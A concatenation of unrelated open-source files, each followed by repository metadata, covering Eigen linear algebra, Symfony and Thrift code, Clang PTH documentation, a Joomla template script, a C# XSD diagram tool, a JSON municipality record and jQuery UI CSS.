numext::conj(c) * yi; } Scalar* EIGEN_RESTRICT px = x + alignedStart; Scalar* EIGEN_RESTRICT py = y + alignedStart; if(internal::first_aligned(x, size)==alignedStart) { for(Index i=alignedStart; i<alignedEnd; i+=PacketSize) { Packet xi = pload<Packet>(px); Packet yi = pload<Packet>(py); pstore(px, padd(pmul(pc,xi),pcj.pmul(ps,yi))); pstore(py, psub(pcj.pmul(pc,yi),pmul(ps,xi))); px += PacketSize; py += PacketSize; } } else { Index peelingEnd = alignedStart + ((size-alignedStart)/(Peeling*PacketSize))*(Peeling*PacketSize); for(Index i=alignedStart; i<peelingEnd; i+=Peeling*PacketSize) { Packet xi = ploadu<Packet>(px); Packet xi1 = ploadu<Packet>(px+PacketSize); Packet yi = pload <Packet>(py); Packet yi1 = pload <Packet>(py+PacketSize); pstoreu(px, padd(pmul(pc,xi),pcj.pmul(ps,yi))); pstoreu(px+PacketSize, padd(pmul(pc,xi1),pcj.pmul(ps,yi1))); pstore (py, psub(pcj.pmul(pc,yi),pmul(ps,xi))); pstore (py+PacketSize, psub(pcj.pmul(pc,yi1),pmul(ps,xi1))); px += Peeling*PacketSize; py += Peeling*PacketSize; } if(alignedEnd!=peelingEnd) { Packet xi = ploadu<Packet>(x+peelingEnd); Packet yi = pload <Packet>(y+peelingEnd); pstoreu(x+peelingEnd, padd(pmul(pc,xi),pcj.pmul(ps,yi))); pstore (y+peelingEnd, psub(pcj.pmul(pc,yi),pmul(ps,xi))); } } for(Index i=alignedEnd; i<size; ++i) { Scalar xi = x[i]; Scalar yi = y[i]; x[i] = c * xi + numext::conj(s) * yi; y[i] = -s * xi + numext::conj(c) * yi; } } /*** fixed-size vectorized path ***/ else if(VectorX::SizeAtCompileTime != Dynamic && (VectorX::Flags & VectorY::Flags & PacketAccessBit) && (VectorX::Flags & VectorY::Flags & AlignedBit)) { const Packet pc = pset1<Packet>(c); const Packet ps = pset1<Packet>(s); conj_helper<Packet,Packet,NumTraits<Scalar>::IsComplex,false> pcj; Scalar* EIGEN_RESTRICT px = x; Scalar* EIGEN_RESTRICT py = y; for(Index i=0; i<size; i+=PacketSize) { Packet xi = pload<Packet>(px); Packet yi = pload<Packet>(py); pstore(px, padd(pmul(pc,xi),pcj.pmul(ps,yi))); pstore(py, psub(pcj.pmul(pc,yi),pmul(ps,xi))); px += PacketSize; py += PacketSize; } } /*** non-vectorized path ***/ else { for(Index i=0; i<size; ++i) { Scalar xi = *x; Scalar yi = *y; *x = c * xi + numext::conj(s) * yi; *y = -s * xi + numext::conj(c) * yi; x += incrx; y += incry; } } } } // end namespace internal } // end namespace Eigen #endif // EIGEN_JACOBI_H
{'repo_name': 'YutaItoh/3D-Eye-Tracker', 'stars': '122', 'repo_language': 'C++', 'file_name': 'FindEigen3.cmake', 'mime_type': 'text/plain', 'hash': -7062455124993411460, 'source_dataset': 'data'}
<?php namespace Symfony\Component\HttpKernel\Tests\Exception; use Symfony\Component\HttpKernel\Exception\AccessDeniedHttpException; class AccessDeniedHttpExceptionTest extends HttpExceptionTest { protected function createException(string $message = null, \Throwable $previous = null, ?int $code = 0, array $headers = []) { return new AccessDeniedHttpException($message, $previous, $code, $headers); } }
{'repo_name': 'symfony/http-kernel', 'stars': '6933', 'repo_language': 'PHP', 'file_name': 'CacheClearerInterface.php', 'mime_type': 'text/x-php', 'hash': 2463458603101521075, 'source_dataset': 'data'}
/** * Autogenerated by Thrift * * DO NOT EDIT UNLESS YOU ARE SURE THAT YOU KNOW WHAT YOU ARE DOING */ #import <Foundation/Foundation.h> #import "TProtocol.h" #import "TApplicationException.h" #import "TProtocolUtil.h" #import "TProcessor.h" #import "TObjective-C.h" enum EDAMErrorCode { EDAMErrorCode_UNKNOWN = 1, EDAMErrorCode_BAD_DATA_FORMAT = 2, EDAMErrorCode_PERMISSION_DENIED = 3, EDAMErrorCode_INTERNAL_ERROR = 4, EDAMErrorCode_DATA_REQUIRED = 5, EDAMErrorCode_LIMIT_REACHED = 6, EDAMErrorCode_QUOTA_REACHED = 7, EDAMErrorCode_INVALID_AUTH = 8, EDAMErrorCode_AUTH_EXPIRED = 9, EDAMErrorCode_DATA_CONFLICT = 10, EDAMErrorCode_ENML_VALIDATION = 11, EDAMErrorCode_SHARD_UNAVAILABLE = 12, EDAMErrorCode_LEN_TOO_SHORT = 13, EDAMErrorCode_LEN_TOO_LONG = 14, EDAMErrorCode_TOO_FEW = 15, EDAMErrorCode_TOO_MANY = 16, EDAMErrorCode_UNSUPPORTED_OPERATION = 17, EDAMErrorCode_TAKEN_DOWN = 18, EDAMErrorCode_RATE_LIMIT_REACHED = 19 }; @interface EDAMUserException : NSException <NSCoding> { int __errorCode; NSString * __parameter; BOOL __errorCode_isset; BOOL __parameter_isset; } #if TARGET_OS_IPHONE || (MAC_OS_X_VERSION_MAX_ALLOWED >= MAC_OS_X_VERSION_10_5) @property (nonatomic, getter=errorCode, setter=setErrorCode:) int errorCode; @property (nonatomic, retain, getter=parameter, setter=setParameter:) NSString * parameter; #endif - (id) init; - (id) initWithErrorCode: (int) errorCode parameter: (NSString *) parameter; - (void) read: (id <TProtocol>) inProtocol; - (void) write: (id <TProtocol>) outProtocol; #if !__has_feature(objc_arc) - (int) errorCode; - (void) setErrorCode: (int) errorCode; #endif - (BOOL) errorCodeIsSet; #if !__has_feature(objc_arc) - (NSString *) parameter; - (void) setParameter: (NSString *) parameter; #endif - (BOOL) parameterIsSet; @end @interface EDAMSystemException : NSException <NSCoding> { int __errorCode; NSString * __message; int32_t __rateLimitDuration; BOOL __errorCode_isset; BOOL __message_isset; BOOL __rateLimitDuration_isset; } #if TARGET_OS_IPHONE || (MAC_OS_X_VERSION_MAX_ALLOWED >= MAC_OS_X_VERSION_10_5) @property (nonatomic, getter=errorCode, setter=setErrorCode:) int errorCode; @property (nonatomic, retain, getter=message, setter=setMessage:) NSString * message; @property (nonatomic, getter=rateLimitDuration, setter=setRateLimitDuration:) int32_t rateLimitDuration; #endif - (id) init; - (id) initWithErrorCode: (int) errorCode message: (NSString *) message rateLimitDuration: (int32_t) rateLimitDuration; - (void) read: (id <TProtocol>) inProtocol; - (void) write: (id <TProtocol>) outProtocol; #if !__has_feature(objc_arc) - (int) errorCode; - (void) setErrorCode: (int) errorCode; #endif - (BOOL) errorCodeIsSet; #if !__has_feature(objc_arc) - (NSString *) message; - (void) setMessage: (NSString *) message; #endif - (BOOL) messageIsSet; #if !__has_feature(objc_arc) - (int32_t) rateLimitDuration; - (void) setRateLimitDuration: (int32_t) rateLimitDuration; #endif - (BOOL) rateLimitDurationIsSet; @end @interface EDAMNotFoundException : NSException <NSCoding> { NSString * __identifier; NSString * __key; BOOL __identifier_isset; BOOL __key_isset; } #if TARGET_OS_IPHONE || (MAC_OS_X_VERSION_MAX_ALLOWED >= MAC_OS_X_VERSION_10_5) @property (nonatomic, retain, getter=identifier, setter=setIdentifier:) NSString * identifier; @property (nonatomic, retain, getter=key, setter=setKey:) NSString * key; #endif - (id) init; - (id) initWithIdentifier: (NSString *) identifier key: (NSString *) key; - (void) read: (id <TProtocol>) inProtocol; - (void) write: (id <TProtocol>) outProtocol; #if !__has_feature(objc_arc) - (NSString *) identifier; - (void) setIdentifier: (NSString *) identifier; #endif - (BOOL) identifierIsSet; #if !__has_feature(objc_arc) - (NSString *) key; - (void) setKey: (NSString *) key; #endif - (BOOL) keyIsSet; @end @interface ErrorsConstants : NSObject { } @end
{'repo_name': 'evernote/evernote-sdk-ios', 'stars': '398', 'repo_language': 'Objective-C', 'file_name': 'InfoPlist.strings', 'mime_type': 'text/plain', 'hash': -2115299126353873310, 'source_dataset': 'data'}
========================== Pretokenized Headers (PTH) ========================== This document first describes the low-level interface for using PTH and then briefly elaborates on its design and implementation. If you are interested in the end-user view, please see the :ref:`User's Manual <usersmanual-precompiled-headers>`. Using Pretokenized Headers with ``clang`` (Low-level Interface) =============================================================== The Clang compiler frontend, ``clang -cc1``, supports three command line options for generating and using PTH files. To generate PTH files using ``clang -cc1``, use the option ``-emit-pth``: .. code-block:: console $ clang -cc1 test.h -emit-pth -o test.h.pth This option is transparently used by ``clang`` when generating PTH files. Similarly, PTH files can be used as prefix headers using the ``-include-pth`` option: .. code-block:: console $ clang -cc1 -include-pth test.h.pth test.c -o test.s Alternatively, Clang's PTH files can be used as a raw "token-cache" (or "content" cache) of the source included by the original header file. This means that the contents of the PTH file are searched as substitutes for *any* source files that are used by ``clang -cc1`` to process a source file. This is done by specifying the ``-token-cache`` option: .. code-block:: console $ cat test.h #include <stdio.h> $ clang -cc1 -emit-pth test.h -o test.h.pth $ cat test.c #include "test.h" $ clang -cc1 test.c -o test -token-cache test.h.pth In this example the contents of ``stdio.h`` (and the files it includes) will be retrieved from ``test.h.pth``, as the PTH file is being used in this case as a raw cache of the contents of ``test.h``. This is a low-level interface used to both implement the high-level PTH interface as well as to provide alternative means to use PTH-style caching. PTH Design and Implementation ============================= Unlike GCC's precompiled headers, which cache the full ASTs and preprocessor state of a header file, Clang's pretokenized header files mainly cache the raw lexer *tokens* that are needed to segment the stream of characters in a source file into keywords, identifiers, and operators. Consequently, PTH serves to mainly directly speed up the lexing and preprocessing of a source file, while parsing and type-checking must be completely redone every time a PTH file is used. Basic Design Tradeoffs ---------------------- In the long term there are plans to provide an alternate PCH implementation for Clang that also caches the work for parsing and type checking the contents of header files. The current implementation of PCH in Clang as pretokenized header files was motivated by the following factors: **Language independence** PTH files work with any language that Clang's lexer can handle, including C, Objective-C, and (in the early stages) C++. This means development on language features at the parsing level or above (which is basically almost all interesting pieces) does not require PTH to be modified. **Simple design** Relatively speaking, PTH has a simple design and implementation, making it easy to test. Further, because the machinery for PTH resides at the lower-levels of the Clang library stack it is fairly straightforward to profile and optimize. Further, compared to GCC's PCH implementation (which is the dominate precompiled header file implementation that Clang can be directly compared against) the PTH design in Clang yields several attractive features: **Architecture independence** In contrast to GCC's PCH files (and those of several other compilers), Clang's PTH files are architecture independent, requiring only a single PTH file when building a program for multiple architectures. For example, on Mac OS X one may wish to compile a "universal binary" that runs on PowerPC, 32-bit Intel (i386), and 64-bit Intel architectures. In contrast, GCC requires a PCH file for each architecture, as the definitions of types in the AST are architecture-specific. Since a Clang PTH file essentially represents a lexical cache of header files, a single PTH file can be safely used when compiling for multiple architectures. This can also reduce compile times because only a single PTH file needs to be generated during a build instead of several. **Reduced memory pressure** Similar to GCC, Clang reads PTH files via the use of memory mapping (i.e., ``mmap``). Clang, however, memory maps PTH files as read-only, meaning that multiple invocations of ``clang -cc1`` can share the same pages in memory from a memory-mapped PTH file. In comparison, GCC also memory maps its PCH files but also modifies those pages in memory, incurring the copy-on-write costs. The read-only nature of PTH can greatly reduce memory pressure for builds involving multiple cores, thus improving overall scalability. **Fast generation** PTH files can be generated in a small fraction of the time needed to generate GCC's PCH files. Since PTH/PCH generation is a serial operation that typically blocks progress during a build, faster generation time leads to improved processor utilization with parallel builds on multicore machines. Despite these strengths, PTH's simple design suffers some algorithmic handicaps compared to other PCH strategies such as those used by GCC. While PTH can greatly speed up the processing time of a header file, the amount of work required to process a header file is still roughly linear in the size of the header file. In contrast, the amount of work done by GCC to process a precompiled header is (theoretically) constant (the ASTs for the header are literally memory mapped into the compiler). This means that only the pieces of the header file that are referenced by the source file including the header are the only ones the compiler needs to process during actual compilation. While GCC's particular implementation of PCH mitigates some of these algorithmic strengths via the use of copy-on-write pages, the approach itself can fundamentally dominate at an algorithmic level, especially when one considers header files of arbitrary size. There is also a PCH implementation for Clang based on the lazy deserialization of ASTs. This approach theoretically has the same constant-time algorithmic advantages just mentioned but also retains some of the strengths of PTH such as reduced memory pressure (ideal for multi-core builds). Internal PTH Optimizations -------------------------- While the main optimization employed by PTH is to reduce lexing time of header files by caching pre-lexed tokens, PTH also employs several other optimizations to speed up the processing of header files: - ``stat`` caching: PTH files cache information obtained via calls to ``stat`` that ``clang -cc1`` uses to resolve which files are included by ``#include`` directives. This greatly reduces the overhead involved in context-switching to the kernel to resolve included files. - Fast skipping of ``#ifdef`` ... ``#endif`` chains: PTH files record the basic structure of nested preprocessor blocks. When the condition of the preprocessor block is false, all of its tokens are immediately skipped instead of requiring them to be handled by Clang's preprocessor.
{'repo_name': 'GJDuck/LowFat', 'stars': '118', 'repo_language': 'C++', 'file_name': 'crash-narrowfunctiontest.ll', 'mime_type': 'text/plain', 'hash': -5391296065148612127, 'source_dataset': 'data'}
File "./typechecking/exhaustiveness/invalid/multiple_child_overrides_overlap.sk", line 10, characters 5-14: The following pattern is unused: | B(_, true) 8 | | C(1, false, true) -> "a" 9 | | A(true) -> "s" 10 | | B(_, true) -> "a" | ^^^^^^^^^^ 11 | }
{'repo_name': 'skiplang/skip', 'stars': '1567', 'repo_language': 'JavaScript', 'file_name': 'Dockerfile', 'mime_type': 'text/plain', 'hash': -782507728128045270, 'source_dataset': 'data'}
% Generated by roxygen2: do not edit by hand % Please edit documentation in R/data-nasa.R \docType{data} \name{nasa} \alias{nasa} \title{Data from the Data Expo JSM 2006.} \format{ A data frame with 41472 rows and 17 variables } \usage{ data(nasa) } \description{ This data was provided by NASA for the competition. } \details{ The data shows 6 years of monthly measurements of a 24x24 spatial grid from Central America: \itemize{ \item time integer specifying temporal order of measurements \item x, y, lat, long spatial location of measurements. \item cloudhigh, cloudlow, cloudmid, ozone, pressure, surftemp, temperature are the various satellite measurements. \item date, day, month, year specifying the time of measurements. \item id unique ide for each spatial position. } } \references{ Murrell, P. (2010) The 2006 Data Expo of the American Statistical Association. Computational Statistics, 25:551-554. } \keyword{datasets}
{'repo_name': 'ggobi/ggally', 'stars': '357', 'repo_language': 'R', 'file_name': 'README.md', 'mime_type': 'text/plain', 'hash': 6386762487812321254, 'source_dataset': 'data'}
<?php /** * @package Joomla.Site * @subpackage Templates.beez3 * * @copyright Copyright (C) 2005 - 2017 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ // No direct access. defined('_JEXEC') or die; JText::script('TPL_BEEZ3_ALTOPEN'); JText::script('TPL_BEEZ3_ALTCLOSE'); JText::script('TPL_BEEZ3_TEXTRIGHTOPEN'); JText::script('TPL_BEEZ3_TEXTRIGHTCLOSE'); JText::script('TPL_BEEZ3_FONTSIZE'); JText::script('TPL_BEEZ3_BIGGER'); JText::script('TPL_BEEZ3_RESET'); JText::script('TPL_BEEZ3_SMALLER'); JText::script('TPL_BEEZ3_INCREASE_SIZE'); JText::script('TPL_BEEZ3_REVERT_STYLES_TO_DEFAULT'); JText::script('TPL_BEEZ3_DECREASE_SIZE'); JText::script('TPL_BEEZ3_OPENMENU'); JText::script('TPL_BEEZ3_CLOSEMENU'); $this->addScriptDeclaration(" var big = '" . (int) $this->params->get('wrapperLarge') . "%'; var small = '" . (int) $this->params->get('wrapperSmall') . "%'; var bildauf = '" . $this->baseurl . '/templates/' . $this->template . "/images/plus.png'; var bildzu = '" . $this->baseurl . '/templates/' . $this->template . "/images/minus.png'; var rightopen = '" . JText::_('TPL_BEEZ3_TEXTRIGHTOPEN', true) . "'; var rightclose = '" . JText::_('TPL_BEEZ3_TEXTRIGHTCLOSE', true) . "'; var altopen = '" . JText::_('TPL_BEEZ3_ALTOPEN', true) . "'; var altclose = '" . JText::_('TPL_BEEZ3_ALTCLOSE', true) . "'; ");
{'repo_name': 'yaofeifly/Vub_ENV', 'stars': '193', 'repo_language': 'PHP', 'file_name': 'index.html', 'mime_type': 'text/xml', 'hash': -3314203263855521766, 'source_dataset': 'data'}
// XSDDiagram - A XML Schema Definition file viewer // Copyright (C) 2006-2019 Regis COSNIER // // This program is free software; you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation; either version 2 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with this program; if not, write to the Free Software // Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA using System; using System.Collections.Generic; using System.Drawing; using System.IO; using System.Windows.Forms; using XSDDiagram.Rendering; using System.Threading; using System.Globalization; namespace XSDDiagram { public static class Program { //[DllImport("kernel32")] //static extern IntPtr GetConsoleWindow(); //[DllImport("kernel32")] //static extern bool AllocConsole(); static string usage = @"XSD Diagram, version {0} Usage: {1} [-o output.svg] [-os EXTENSION] [-r RootElement[@namespace]]* [-e N] [-d] [-z N] [-f PATH,NAME,TYPE,NAMESPACE,COMMENT,SEQ,LASTCHILD,XSDTYPE] [-a] [-y] [-u USERNAME] [-p PASSWORD] [file.xsd or URL] -o FILE specifies the output image. '.png','.jpg', '.svg', '.txt', '.csv' ('.emf' on Windows) are allowed. If not present, the GUI is shown. -os EXTENSION specifies the output image is streamed through the standard output. EXTENSION can be: png, jpg, svg, txt, csv. If not present, the GUI is shown. -r ELEMENT specifies the root element of the tree. You can put several -r options = several root elements in the tree. The element can have a namespace: MyElement@http://mynamespace/path -e N specifies the expand level (from 0 to what you want). Be carefull, the result image can be huge. -d Display the documentation. -z N specifies the zoom percentage from 10% to 1000% (only for .png image). Work only with the '-o', '-os png' or '-os jpg' option. -f PATH,NAME,TYPE,NAMESPACE,COMMENT,SEQ,LASTCHILD,XSDTYPE specifies the fields you want to output when rendering to a txt or csv file. -a outputs the attributes in text mode only (.txt and .csv). -y force huge image generation without user prompt. -u USERNAME specifies a username to authenticate when a xsd dependency (import or include) is a secured url. -p PASSWORD specifies a password to authenticate when a xsd dependency (import or include) is a secured url. -no-gui prevents the graphical interface to be opened. Example 1: > XSDDiagramConsole.exe -o file.png -r TotoRoot -r TotoComplexType@http://mynamespace -e 3 -d -z 200 ./folder1/toto.xsd will generate a PNG image from a diagram with a root elements 'TotoRoot' and 'TotoComplexType', and expanding the tree from the root until the 3rd level, with the documentation. Example 2: > XSDDiagram.exe ./folder1/toto.xsd will load the xsd file in the GUI window. Example 3: > XSDDiagram.exe -r TotoRoot -e 2 ./folder1/toto.xsd will load the xsd file in the GUI window with a root element 'TotoRoot' and expanding the tree from the root until the 2nd level. Example 4: > XSDDiagramConsole.exe -os svg -r TotoRoot -e 3 ./folder1/toto.xsd will write a SVG image in the standard output from a diagram with a root element 'TotoRoot' and expanding the tree from the root until the 3rd level. Example 5: > XSDDiagramConsole.exe -os txt -r TotoRoot -e 3 -f PATH,TYPE,COMMENT -a ./folder1/toto.xsd will write a textual representation in the standard output from a diagram with a root element 'TotoRoot' and expanding the tree from the root until the 3rd level. "; /// <summary> /// The main entry point for the application. /// </summary> [STAThread] public static void Main() { Thread.CurrentThread.CurrentCulture = CultureInfo.InvariantCulture; bool streamToOutput = !string.IsNullOrEmpty(Options.OutputFile) || Options.OutputOnStdOut; if (Options.NoGUI || Options.RequestHelp || streamToOutput) { //if(!Options.IsRunningOnMono) //{ // if (GetConsoleWindow() == IntPtr.Zero) // ; // AllocConsole(); //} if (Options.RequestHelp || string.IsNullOrEmpty(Options.InputFile) || !streamToOutput || Options.RootElements.Count == 0 || Options.ExpandLevel < 0 || Options.Zoom < 10.0 || Options.Zoom > 1000.0) { string version = typeof(Program).Assembly.GetName().Version.ToString(); Log(usage, version, Path.GetFileName(Environment.GetCommandLineArgs()[0])); return; } Log("Loading the file: {0}\n", Options.InputFile); Schema schema = new Schema(); schema.RequestCredential += delegate(string url, string realm, int attemptCount, out string username, out string password) { username = password = ""; if(!string.IsNullOrEmpty(Options.Username)) { if (attemptCount > 1) return false; username = Options.Username; password = Options.Password; return true; } return false; }; schema.LoadSchema(Options.InputFile); if (schema.LoadError.Count > 0) { LogError("There are errors while loading:\n"); foreach (var error in schema.LoadError) { LogError(error); } LogError("\r\n"); } Diagram diagram = new Diagram(); diagram.ShowDocumentation = Options.ShowDocumentation; diagram.ElementsByName = schema.ElementsByName; diagram.Scale = Options.Zoom / 100.0f; foreach (var rootElement in Options.RootElements) { string elementName = rootElement; string elementNamespace = null; if(!string.IsNullOrEmpty(elementName)) { var pos = rootElement.IndexOf("@"); if(pos != -1) { elementName = rootElement.Substring(0, pos); elementNamespace = rootElement.Substring(pos + 1); } } foreach (var element in schema.Elements) { if ((elementNamespace != null && elementNamespace == element.NameSpace && element.Name == elementName) || (elementNamespace == null && element.Name == elementName)) { Log("Adding '{0}' element to the diagram...\n", rootElement); diagram.Add(element.Tag, element.NameSpace); } } } Form form = new Form(); Graphics graphics = form.CreateGraphics(); graphics.SmoothingMode = System.Drawing.Drawing2D.SmoothingMode.AntiAlias; graphics.TextRenderingHint = System.Drawing.Text.TextRenderingHint.AntiAlias; for (int i = 0; i < Options.ExpandLevel; i++) { Log("Expanding to level {0}...\n", i + 1); if (!diagram.ExpandOneLevel()) { Log("Cannot expand more.\n"); break; } } diagram.Layout(graphics); Log("Saving image...\n"); try { bool result = false; DiagramExporter exporter = new DiagramExporter(diagram); IDictionary<string, object> specificRendererParameters = new Dictionary<string, object>() { { "TextOutputFields", Options.TextOutputFields }, { "DisplayAttributes", Options.DisplayAttributes }, { "Schema", schema } //For future parameters, {} }; if (Options.OutputOnStdOut) { Stream stream = Console.OpenStandardOutput(); result = exporter.Export(stream, "." + Options.OutputOnStdOutExtension.ToLower(), graphics, new DiagramAlertHandler(ByPassSaveAlert), specificRendererParameters); stream.Flush(); } else { result = exporter.Export(Options.OutputFile, graphics, new DiagramAlertHandler(SaveAlert), specificRendererParameters); } if (result) Log("The diagram is now saved in the file: {0}\n", Options.OutputFile); else Log("ERROR: The diagram has not been saved!\n"); } catch (Exception ex) { Log("ERROR: The diagram has not been saved. {0}\n", ex.Message); } graphics.Dispose(); form.Dispose(); } else { if (Options.RequestHelp) { string version = typeof(Program).Assembly.GetName().Version.ToString(); MessageBox.Show(string.Format(usage, version, Environment.GetCommandLineArgs()[0])); } Application.ThreadException += HandleThreadException; Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); Application.Run(new MainForm()); } } static void Log(string format, params object[] arg) { if (Options.OutputOnStdOut) return; Console.Write(format, arg); } static void LogError(string format, params object[] arg) { Console.Error.Write(format, arg); } static bool ByPassSaveAlert(string title, string message) { return true; } static bool SaveAlert(string title, string message) { Log(string.Format("{0}. {1} [Yn] >", title, message)); if(Options.ForceHugeImageGeneration) { Log("\nYes\n"); return true; } ConsoleKeyInfo consoleKeyInfo = Console.ReadKey(false); Log("\n"); if (consoleKeyInfo.Key == ConsoleKey.Y || consoleKeyInfo.Key == ConsoleKey.Enter) { Log("Ok, relax... It can take time!\n"); return true; } else return false; } static void HandleThreadException(object sender, System.Threading.ThreadExceptionEventArgs e) { System.Diagnostics.Trace.WriteLine(e.ToString()); } } }
{'repo_name': 'dgis/xsddiagram', 'stars': '146', 'repo_language': 'C#', 'file_name': 'web-app_3_0.xsd', 'mime_type': 'text/xml', 'hash': 5110302673023661772, 'source_dataset': 'data'}
{ "nome": "Orta San Giulio", "codice": "003112", "zona": { "codice": "1", "nome": "Nord-ovest" }, "regione": { "codice": "01", "nome": "Piemonte" }, "provincia": { "codice": "003", "nome": "Novara" }, "sigla": "NO", "codiceCatastale": "G134", "cap": [ "28016" ], "popolazione": 1163 }
{'repo_name': 'matteocontrini/comuni-json', 'stars': '373', 'repo_language': 'Python', 'file_name': '030080-ZI4c5O.json', 'mime_type': 'text/plain', 'hash': 2754791325979845172, 'source_dataset': 'data'}
// // iVimTests.swift // iVimTests // // Created by Terry on 7/20/17. // Copyright © 2017 Boogaloo. All rights reserved. // import XCTest @testable import iVim class iVimTests: XCTestCase { override func setUp() { super.setUp() // Put setup code here. This method is called before the invocation of each test method in the class. } override func tearDown() { // Put teardown code here. This method is called after the invocation of each test method in the class. super.tearDown() } func testExample() { // This is an example of a functional test case. // Use XCTAssert and related functions to verify your tests produce the correct results. } func testPerformanceExample() { // This is an example of a performance test case. self.measure { // Put the code you want to measure the time of here. } } }
{'repo_name': 'terrychou/iVim', 'stars': '323', 'repo_language': 'C', 'file_name': 'rexx.c', 'mime_type': 'text/x-c', 'hash': 6589877156237139901, 'source_dataset': 'data'}
//AUTOGENERATED, DO NOTMODIFY. //Do not edit this file directly. #pragma warning disable 1591 // Missing XML comment for publicly visible type or member // ReSharper disable CheckNamespace using System; using RethinkDb.Driver.Ast; using RethinkDb.Driver.Model; using RethinkDb.Driver.Proto; using System.Collections; using System.Collections.Generic; namespace RethinkDb.Driver.Ast { public partial class Maxval : ReqlExpr { public Maxval (object arg) : this(new Arguments(arg), null) { } public Maxval (Arguments args) : this(args, null) { } public Maxval (Arguments args, OptArgs optargs) : base(TermType.MAXVAL, args, optargs) { } /// <summary> /// Get a single field from an object. If called on a sequence, gets that field from every object in the sequence, skipping objects that lack it. /// </summary> /// <param name="bracket"></param> public new Bracket this[string bracket] => base[bracket]; /// <summary> /// Get the nth element of a sequence, counting from zero. If the argument is negative, count from the last element. /// </summary> /// <param name="bracket"></param> /// <returns></returns> public new Bracket this[int bracket] => base[bracket]; } }
{'repo_name': 'bchavez/RethinkDb.Driver', 'stars': '337', 'repo_language': 'C#', 'file_name': 'paket.dependencies', 'mime_type': 'text/plain', 'hash': 8516603125112142811, 'source_dataset': 'data'}
.fl-theme-mist .ui-helper-hidden{display:none;} .fl-theme-mist .ui-helper-hidden-accessible{position:absolute!important;clip:rect(1px 1px 1px 1px);clip:rect(1px,1px,1px,1px);} .fl-theme-mist .ui-helper-reset{margin:0;padding:0;border:0;outline:0;line-height:1.3;text-decoration:none;font-size:100%;list-style:none;} .fl-theme-mist .ui-helper-clearfix:after{content:".";display:block;height:0;clear:both;visibility:hidden;} .fl-theme-mist .ui-helper-clearfix{display:inline-block;} /* required comment for clearfix to work in Opera \*/ * html .ui-helper-clearfix{height:1%;} .fl-theme-mist .ui-helper-clearfix{display:block;} /* end clearfix */ .fl-theme-mist .ui-helper-zfix{width:100%;height:100%;top:0;left:0;position:absolute;opacity:0;filter:Alpha(Opacity=0);} .fl-theme-mist .ui-state-disabled{cursor:default!important;} .fl-theme-mist .ui-icon{display:block;text-indent:-99999px;overflow:hidden;background-repeat:no-repeat;} .fl-theme-mist .ui-widget-overlay{position:absolute;top:0;left:0;width:100%;height:100%;} .fl-theme-mist .ui-widget{font-family:Verdana,Arial,sans-serif;font-size:1.1em;} .fl-theme-mist .ui-widget .ui-widget{font-size:1em;} .fl-theme-mist .ui-widget input,.fl-theme-mist .ui-widget select,.fl-theme-mist .ui-widget textarea,.fl-theme-mist .ui-widget button{font-family:Verdana,Arial,sans-serif;font-size:1em;} .fl-theme-mist .ui-widget-content{border:1px solid #ccc;background:#fff url(images/ui-bg_flat_75_ffffff_40x100.png) 50% 50% repeat-x;color:#222;} .fl-theme-mist .ui-widget-content a{color:#222;} .fl-theme-mist .ui-widget-header{border:1px solid #5a95cf;background:#9dcaf6 url(images/ui-bg_glass_75_9dcaf6_1x400.png) 50% 50% repeat-x;color:#222;font-weight:bold;} .fl-theme-mist .ui-widget-header a{color:#222;} .fl-theme-mist .ui-state-default,.fl-theme-mist .ui-widget-content .ui-state-default,.fl-theme-mist .ui-widget-header .ui-state-default{border:1px solid #d3d3d3;background:#d9e8f7 url(images/ui-bg_glass_75_d9e8f7_1x400.png) 50% 50% repeat-x;font-weight:normal;color:#555;} .fl-theme-mist .ui-state-default a,.fl-theme-mist .ui-state-default a:link,.fl-theme-mist .ui-state-default a:visited{color:#555;text-decoration:none;} .fl-theme-mist .ui-state-hover,.fl-theme-mist .ui-widget-content .ui-state-hover,.fl-theme-mist .ui-widget-header .ui-state-hover,.fl-theme-mist .ui-state-focus,.fl-theme-mist .ui-widget-content .ui-state-focus,.fl-theme-mist .ui-widget-header .ui-state-focus{border:1px solid #999;background:#9dcaf6 url(images/ui-bg_glass_75_9dcaf6_1x400.png) 50% 50% repeat-x;font-weight:normal;color:#212121;} .fl-theme-mist .ui-state-hover a,.fl-theme-mist .ui-state-hover a:hover{color:#212121;text-decoration:none;} .fl-theme-mist .ui-state-active,.fl-theme-mist .ui-widget-content .ui-state-active,.fl-theme-mist .ui-widget-header .ui-state-active{border:1px solid #5a95cf;background:#fff url(images/ui-bg_glass_65_ffffff_1x400.png) 50% 50% repeat-x;font-weight:normal;color:#000;} .fl-theme-mist .ui-state-active a,.fl-theme-mist .ui-state-active a:link,.fl-theme-mist .ui-state-active a:visited{color:#000;text-decoration:none;} .fl-theme-mist .ui-widget :active{outline:none;} .fl-theme-mist .ui-state-highlight,.fl-theme-mist .ui-widget-content .ui-state-highlight,.fl-theme-mist .ui-widget-header .ui-state-highlight{border:1px solid #2e83ff;background:#9dcaf6 url(images/ui-bg_highlight-soft_55_9dcaf6_1x100.png) 50% top repeat-x;color:#363636;} .fl-theme-mist .ui-state-highlight a,.fl-theme-mist .ui-widget-content .ui-state-highlight a,.ui-widget-header .ui-state-highlight a{color:#363636;} .fl-theme-mist .ui-state-error,.fl-theme-mist .ui-widget-content .ui-state-error,.fl-theme-mist .ui-widget-header .ui-state-error{border:1px solid #cd0a0a;background:#fef1ec url(images/ui-bg_inset-soft_95_fef1ec_1x100.png) 50% bottom repeat-x;color:#cd0a0a;} .fl-theme-mist .ui-state-error a,.fl-theme-mist .ui-widget-content .ui-state-error a,.fl-theme-mist .ui-widget-header .ui-state-error a{color:#cd0a0a;} .fl-theme-mist .ui-state-error-text,.fl-theme-mist .ui-widget-content .ui-state-error-text,.fl-theme-mist .ui-widget-header .ui-state-error-text{color:#cd0a0a;} .fl-theme-mist .ui-priority-primary,.fl-theme-mist .ui-widget-content .ui-priority-primary,.fl-theme-mist .ui-widget-header .ui-priority-primary{font-weight:bold;} .fl-theme-mist .ui-priority-secondary,.fl-theme-mist .ui-widget-content .ui-priority-secondary,.ui-widget-header 